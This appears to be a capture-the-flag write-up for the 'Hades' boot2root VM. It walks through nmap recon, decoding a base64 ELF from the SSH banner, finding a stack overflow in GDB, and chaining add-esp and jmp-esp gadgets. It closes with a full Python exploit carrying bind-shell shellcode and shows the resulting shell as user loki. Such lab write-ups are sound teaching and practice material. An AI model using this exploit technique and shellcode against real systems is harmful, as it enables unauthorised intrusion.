Hades is a new boot2root challenge pitched at the advanced hobbyist. Solving this challenge will require skills in reverse engineering, exploit development and understanding of computer architecture. The aim of this challenge is to incrementally increase access to the box until you can escalate to root. The /root/flag.txt file is the final goal.
[email protected]:~# nmap -n -sV -A -p- 192.168.127.132 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 e1:47:74:6c:b5:9c:8b:76:fd:92:77:91:fa:e7:f4:ee (DSA) | 2048 9c:a0:0b:f3:63:2e:8e:10:77:e9:a3:5a:dd:f1:6d:46 (RSA) |_ 256 0b:8d:d1:bf:6e:b8:cf:99:38:64:f0:58:bb:3c:45:77 (ECDSA) 65535/tcp open unknown 1 service unrecognized despite returning data. [...snip...] "Welcome\x20to\x20t SF:he\x20jungle\.\x20\x20\nEnter\x20up\x20to\x20two\x20commands\x20of\x20l SF:ess\x20than\x20121\x20characters\x20each\.\n\0Got\x20it\n" [...snip...]
Just from reading the Nmap output, it seems the service on 65535 prompts for some input and was accepting Nmap probes, but not outputting anything useful. I tried connecting to the port with
netcat, but it was unable to connect.
[email protected]:~# nc 192.168.127.132 65535 nc: unable to connect to address 192.168.127.132, service 65535
I tried verifying the port was open with Nmap, but it was reported as being closed.
[email protected]:~# nmap -n -sS 192.168.127.132 -p 65535 PORT STATE SERVICE 65535/tcp closed unknown
Nmap on a loop, to keep checking whether the port automatically came back up. I lost patience after a few minutes, so just rebooted the VM. Good start :D. At this point I assumed one of the Nmap probes somehow crashed the application.
When it came back up, I had a bit of a play.
[email protected]:~# nc 192.168.127.132 65535 Welcome to the jungle. Enter up to two commands of less than 121 characters each.
Every input I entered returned a “Got it” message and after two commands are entered, the application stops responding and I had to re-connected. The app does express there’s a character limit for the commands of <121 each, so I sent one large string of 242 A’s.
[email protected]:~# python -c 'print ("A" * 242)' | nc 192.168.127.132 65535 Welcome to the jungle. Enter up to two commands of less than 121 characters each. Got it Got it [email protected]:~# nc 192.168.127.132 65535 nc: unable to connect to address 192.168.127.132, service 65535
So that crashed the application, but I currently had no way to analyise or debug what was happening.
With this a dead-end, for now, I turned my attention to the SSH service. I attempted an SSH connection to Hades and was surprised to see a mass of output.
[email protected]:~# ssh 192.168.127.132 f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAABUDgAAAAAAADQAIAAIACgAHwAcAAYAAAA0 [...snip...] aXN0ZXJDbGFzc2VzAHNvY2tldEBAR0xJQkNfMi4wAF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU TUNsb25lVGFibGUAX2luaXQAdjAAdjIA [email protected]'s password:
This looked like it was encoded somehow to me. I copied the text into Burpsuite’s Decoder function and tried various decoding methods. I eventually reached base64 and I could suddenly see some plaintext strings. Including binary functions (socket, strcpy, _start_main etc).
I converted the file into an executable binary, and ran it on my Kali VM.
[email protected]:~/hades# base64 -d file > binary [email protected]:~/hades# file binary binary: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xc0bc41d21254d7f04d83fec32b7345d3505c0759, not stripped [email protected]:~/hades# ./binary [email protected]:~/hades# netstat -antp tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN 4402/binary [email protected]:~/hades# nc localhost 65535 Welcome to the jungle. Enter up to two commands of less than 121 characters each.
So it looks as though I have a copy of the app running on Hades - time to exploit it!
Burn Baby Burn
[email protected]:~/hades# checksec --file binary RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH binary
There appears to be minimal protection on the binary itself - hopefully this will be a strightforward exercise :D …yeah, right. I loaded it up in GDB and crashed it with a string of A’s. It looks like I control
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x5 5 ecx 0xb7fbf4e0 -1208224544 edx 0xb7fc0360 -1208220832 ebx 0xb7fbeff4 -1208225804 esp 0xbffff350 0xbffff350 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141
Using the pattern offset method, I determined that
EIP was overwritten after
171 bytes and
167. I threw some more data at the binary to see what else could be overwritten.
[email protected]:~/hades# python -c 'print ("A" * 163) + ("B" * 4) + ("C" * 4) + ("D" * 50)' | nc localhost 65535
The above stack shows that
EIP (red) and
EDB (green) have been overwritten and that the buffer of A’s has been split, the majority highlighted in yellow. It looks like the large group of A’s is about
112 bytes in total, plenty of room for some shellcode if I can get there. There are about
28 bytes which I need to remove from
ESP, so that it can point directly at my buffer.
I started looking for instructions in the binary which I could use to manipulate
ESP, and came across this add
8048a32: 83 c4 1c add esp,0x1c
This will add
28 (1C) bytes to
ESP, as desired. But I need to know what other instructions come after this.
8048a32: 83 c4 1c add esp,0x1c 8048a35: 5b pop ebx 8048a36: 5e pop esi 8048a37: 5f pop edi 8048a38: 5d pop ebp 8048a39: c3 ret
I also found a
JMP ESP instruction.
8048697: ff e4 jmp esp
So, this looks pretty good - after the add
ESP instruction, a bunch of the registers are pop’d followed by a return.
I followed this through in GDB by setting up a hook, and placing a break point on
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >disassemble >x/10x $esp >i r >end
[email protected]:~/hades# python -c 'print ("A" * 171) + "\x32\x8a\x04\x08"' | nc localhost 65535
The breakpoint is reached, which means the jump was successful. The advantage of the hook, is that I can now do
stepi to execute the next instruction and GDB will automatically print out the instructions in the hook (saving me a lot of time and typing :)). It allows me to see the state of the stack and registers easily after each instruction.
Just before the return is executed, this is how things look:
0x08048a32 <+82>: add esp,0x1c 0x08048a35 <+85>: pop ebx 0x08048a36 <+86>: pop esi 0x08048a37 <+87>: pop edi 0x08048a38 <+88>: pop ebp => 0x08048a39 <+89>: ret End of assembler dump. 0xbffff38c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff39c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff3ac: 0x41414141 0x41414141 eax 0x5 5 ecx 0xb7fbf4e0 -1208224544 edx 0xb7fc0360 -1208220832 ebx 0x41414141 1094795585 esp 0xbffff38c 0xbffff38c ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x8048a39 0x8048a39 <__libc_csu_init+89>
EIP is currently pointing to
0x8048a39, so when I execute the return it should result in a crash (since
0x41414141 is just bollocks).
No function contains program counter for selected frame. 0x41414141 in ?? ()
A little more analysis shows that when the ret is evenually executed, I return
17 bytes inside the original buffer. I now started to flesh out an exploit in python, aptly dubbed
I needed some shellcode to execute, but in such a small space the usual Metasploit generated stuff was going to be too big. I have the
shell-storm Python API installed, so was able to find some small (
73 bytes) bind shellcode fairly easily.
The structure of the exploit will go: [JUNK][JMP ESP][SHELLCODE][PADDING][ADD ESP…RET]
EIP will be overridden by the address for add
ESP and the pop’s and ret instruction will follow, as demonstrated. This will remove the
17 bytes of junk from the beginning of the buffer. When the
ret instruction is followed, execution flow will land on
JMP ESP and execute the shellcode. My final exploit is as follows:
#!/usr/bin/env python import socket target = '192.168.127.132' port = 65535 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shellcode = ("\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" # 73 bytes, bind on 11111 "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68" "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1" "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd" "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f" "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x41\xcd\x80") buffer = ("\x90" * 17) buffer += "\x97\x86\x04\x08" # jmp esp buffer += shellcode buffer += ("\x90" * 77) # junk padding buffer += "\x32\x8a\x04\x08" # add esp etc... try: s.connect((target, port)) s.recv(1024) s.send(buffer) except: print "Couldn't connect to Hades"
Connect to the bind port with netcat and…
id; whoami uid=1000(loki) gid=1000(loki) groups=1000(loki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) loki